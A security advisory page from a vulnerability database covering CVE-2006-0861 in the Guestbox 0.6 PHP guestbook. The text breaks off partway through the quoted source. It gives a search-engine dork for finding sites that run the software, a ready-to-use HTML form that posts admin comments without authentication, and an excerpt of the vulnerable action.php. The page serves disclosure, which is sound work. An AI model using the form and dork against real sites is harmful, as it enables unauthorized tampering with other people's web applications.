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Home arrow SecurityAlert Database

Arrow  Topic :

Guestbox XSS/an admin bypass


Arrow  SecurityAlert : 460
Arrow  CVE : CVE-2006-0861
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : l0om
Arrow  Published : 22.02.2006

Arrow  Affected Software : Login - Guestbox 0.6



Arrow  Advisory Content :  

author.: l0om - www.excluded.org
product: guestbox (latest non-BETA) 0.6
page: http://spring.realone.ch
dork: "Login - Guestbox 0.6" inurl:guestbox.php

someone asked me to check the guestbook named "guestbox" and thats
the advisory based on my checks.

1.0 everyone can set admin comments to all entries
--------------------------------------------------
in case of setting an admin comment to some gb entry you normaly have
to log in as admin. as you can see in the sources down you dont need
to be logged in as admin to set an admin comment because the programmer
missed it to check the "$admin" value at this point of the switch case.

simply create the following html document and post comments as admin:

<html>
<body>
<center>
<form method="post"
action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY
_NUMBER">
<textarea class="auswahl" name="text" cols="30" rows="3"></textarea><br>
<input type="submit" name="submit" value="comment">
</form>
</center>
</body>
</html>

---8<--- source:action.php ---8<---

[...]
INCLUDE "gb_config.php";
INCLUDE "gb_functions.php";
switch ($_GET['action'])
{
case "comment" :

if (isset($_POST['submit'])) {

//
// admin check????
//
edit_entry($gbdaten, $_GET['nummer'],
trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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